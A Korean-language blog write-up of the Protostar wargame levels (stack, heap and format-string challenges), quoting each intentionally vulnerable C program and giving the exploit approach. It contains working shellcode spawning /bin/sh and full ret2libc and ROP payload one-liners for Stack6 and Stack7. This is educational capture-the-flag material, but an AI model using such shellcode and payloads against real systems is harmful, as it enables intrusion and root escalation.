Protostar Simple Writeup

2018. 4. 10. 08:350x04 pwnable

728x90

1. Stack0 

#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } 

}


buffer 64바이트 후 1바이트의 값을 조작하면 된다. 

modified가 buffer뒤에 위치하기 때문이다.




2. Stack1 

#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } 

}

buffer 64바이트 할당하되, argv[0]에 넣는다는 것을 유의하자. (strcpy 취약점 이용)


3. Stack2 

#include <stdlib.h>

#include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; char *variable; variable = getenv("GREENIE"); if(variable == NULL) { errx(1, "please set the GREENIE environment variable\n"); } modified = 0; strcpy(buffer, variable); if(modified == 0x0d0a0d0a) { printf("you have correctly modified the variable\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }

유의사항 : getenv함수 

getenv함수는 현재 환경변수를 가져오는 함수이다 

우리는 GREENIE라는 환경변수를 가지고 있어야 한다.

그리고 환경변수안의 내용을 variable에 담고 modified를 0x0d0a0d0a로 덮어야 한다.

modified값 까지 환경변수에 집어 넣기 위해 파이썬을 이용한다.



4. Stack3 

#include <stdlib.h>

#include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } }

함수 포인터 overwirte문제 

buffer를 채운 뒤 ret를 win함수 시작주소로 덮음




5. Stack4 

#include <stdlib.h>

#include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); }


gets함수 취약점을 이용 + ret 변조 (win함수 시작주소로)




6. Stack5 

#include <stdlib.h>

#include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[64]; gets(buffer); }

Use Shellcode 

\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80  // 41byte


exploit : buffer[64] + dummy[8] + sfp[4] + ret[4] 


payload : shellcode(41) + \x90*35 + shellcode addr



7. Heap0 

#include <stdlib.h>

#include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct data { char name[64]; }; struct fp { int (*fp)(); }; void winner() { printf("level passed\n"); } void nowinner() { printf("level has not been passed\n"); } int main(int argc, char **argv) { struct data *d; struct fp *f; d = malloc(sizeof(struct data)); f = malloc(sizeof(struct fp)); f->fp = nowinner; printf("data is at %p, fp is at %p\n", d, f); strcpy(d->name, argv[1]); f->fp(); }

winner의 주소를 구한다. gdb -> disass winner 

or objdump -t ./heap0 | grep winner 


메인의 인자를 d->name에 복사하여 winner로 이동하자 


exploit : name의 바이트 64 + dummy[4] + sf[[4] + winner시작주소 



8. Heap1

#include <stdlib.h>

#include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct internet { int priority; char *name; }; void winner() { printf("and we have a winner @ %d\n", time(NULL)); } int main(int argc, char **argv) { struct internet *i1, *i2, *i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct internet)); i2->priority = 2; i2->name = malloc(8); strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]); printf("and that's a wrap folks!\n"); }


heap0과 달리 매개인자값을 2개 사용하였다. 

코드 상은 printf지만, gdb로 보게 되면 puts이므로 puts의 주소를 leak한다.

마찬가지로 winner의 시작주소를 구한다.


exploit : dummy[20] + puts addr + winner 시작주소 




9. Stack6 

#include <stdlib.h>

#include <unistd.h> #include <stdio.h> #include <string.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); }

처음 보는 기법 

ret = __builtin_return_address(0);  

if((ret & 0xbf000000) == 0xbf000000) {

                   _exit(1);

설명 : __builtin_return_address라는 것은 자신을 호출한 함수의 반환 위치 주소를 돌려주는 역할

ret가 0xbf로 시작하게 되면 종료되게 하는 루틴


buffer에 64만큼 배열이 생기지만, 정확하게 SFP가 어디인지 (ebp가 어디인지) 알기 위해 gdb를 이용


버퍼의 크기 : 0xbffffd38 - 0xbffffcec = 0x4C(76byte) 

즉, 해당 버퍼는 76바이트 + SFP + RET를 지니고 있게 된다는 것을 알 수 있다.


그 다음 구해야 하는 것은 RTL를 사용하기 위한 여러 주소들이다. 

RTL에 대해서 복습을 아무리 많이 해도 지나치지 않다.

Return To Libc라고 하는데, 스택에 libc에 내포되어 있는 주소를 담아 그 주소로 점프할 수 있게 하는 기술이다.

RTL에 자주 사용되는 녀석은 &system()과 &exit() 그리고,& /bin/sh이다. 


프로세스는 디버거를 통해 해당 libc에 들어있는 주소들을 알 수가 있다.

명령어는 print 

이 명령어를 통해 &system(), &exit()를 확인한 결과다.



주소를 주웠다.

&system()  = 0xb7ecffb0

&exit() = 0xb7ec60c0 

추가적으로, 조건문에서의  if((ret & 0xbf000000) == 0xbf000000) {가 만족하지 않게 된다


그 다음 우리는 /bin/sh의 주소를 구해야 한다.

/bin/sh은 system함수안에서 확인할 수 있는 녀석이다.

&system을 구해두었으니 간단히 코드를 짤 수 있다.

코드의 요약은 system의 주소를 선언해 둔뒤, memcmp와 함께 system주소부터 오프셋을 +1하면서 해당 오프셋이 "/bin/sh"인지에

대해 파악하는 것이다.

#include <stdio.h>

#include <stdlib.h>


int main()

{

        long shell = 0xb7ecffb0; // system addr


        while(memcmp((void*)shell,"/bin/sh",8))

                shell++;

        printf("0x%p\n",shell);

        return 0;

}


구해야 하는 것들은 다 끝났다.

한번 더 정리해보자.


1. 버퍼의 크기 구함 

2. RTL에 사용 될 &system(), &exit(), &/bin/sh 구함



중요한 사항 잊지 않기 위해 기록

버퍼의 RET에 특정함수가 들어가게 되면, 그 함수에서 사용하는 인자(매개변수)는 ret+8byte뒤에 위치하게 된다.

즉, RET+4BYTE는 사실상 쓰레기가 들어가도 되지만, 깔끔하게 다루기 위해 &exit()를 사용한다고 한다.


 buf

sfp 

ret 

... 

... 

 76bytes

4bytes 

&system() 

&exit() 

&/bin/sh 


(python -c 'print "A"*76 + "B"*4 + &system() + &exit() + &(/bin/sh))


(python -c 'print "A"*76 + "B"*4 + "\xb0\xff\xec\xb7" + "\xc0\x60\xec\xb7" + "\xbf\x63\xfb\xb7"';cat)|./stack6 



또 다른방법, ROP를 이용할 수도 있다. 왜냐하면 버전이 패치됨에 따라 system함수의 권한이 약해져서 setuid(0,0)을

하지않으면 올바르게 루트 권한을 획득할 수 없다고 한다. 

ROP 가젯을 획득하는 방법

objdump -d ./바이너리경로 | egrep "pop|ret"

이 문제에서는 PPR(pop-pop-ret)를 이용하였다.



가젯을 수집하였으니, &system()과 &exit()를 구했듯이 &setreuid()도 구했다.

&setuid() = 0xb7f2ec80


setreuid역시 특정함수이므로 +8byte뒤에 인자를 넣어준다. setreuid는 인자가 2개 들어가야 한다.

이전에 system함수+4byte공간에는 exit()주소가 들어갔지만, 이번에는 pop-pop-ret를 이용하여 

setreuid의 인자들을 차례대로 뺀 다음 그 다음 주소 system()에 접근하게 하는 시나리오로 짜본다.


(python -c 'print "A"*76 + "B"*4 +"\x00\xb7\xf5\xb7"+ "\x52\x84\x04\x08" + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\xb0\xff\xec\xb7" + "\xc0\x60\xec\xb7" + "\xbf\x63\xfb\xb7"';cat)|./stack6



ROP 서서히 익숙해지고있다. 조금만 더 반복,숙달하자.


10. Stack7 

#include <stdlib.h>

#include <unistd.h> #include <stdio.h> #include <string.h> char *getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xb0000000) == 0xb0000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); return strdup(buffer); } int main(int argc, char **argv) { getpath(); }

ret에 setreuid를 사용하지 못하게 해두었다.

이젠, ppr을 이용해야 한다.

buf[76] + sfp[4] + ppr + dummy[8] + &system() + &exit() + &/bin/sh


사용한 가젯의 주소는 0x8048492 


(python -c 'print "A"*80 + "\x92\x84\x04\x08" + "A"*8 + "\xb0\xff\xec\xb7" + "\xc0\x60\xec\xb7" + "\xbf\x63\xfb\xb7"';cat)|./stack7



Stack Clear! 


11. Format0 

#include <stdlib.h>

#include <unistd.h> #include <stdio.h> #include <string.h> void vuln(char *string) { volatile int target; char buffer[64]; target = 0; sprintf(buffer, string); if(target == 0xdeadbeef) { printf("you have hit the target correctly :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); }

sprintf 취약점을 이용 + BOF 



target이 0x00000000이었는데 62626262로 덮을 수 있음을 확인하고 익스플로잇 성공함




'0x04 pwnable' 카테고리의 다른 글

고수준 파일 입출력 공부  (0) 2018.04.29
저수준 파일 입출력 공부  (0) 2018.04.29
Protostar  (2) 2018.04.10
system함수 릭한 후 /bin/sh 주소 구하기 (NON ASLR)  (0) 2018.04.10
arm 아키텍쳐 cross compile in UBUNTU  (0) 2018.03.02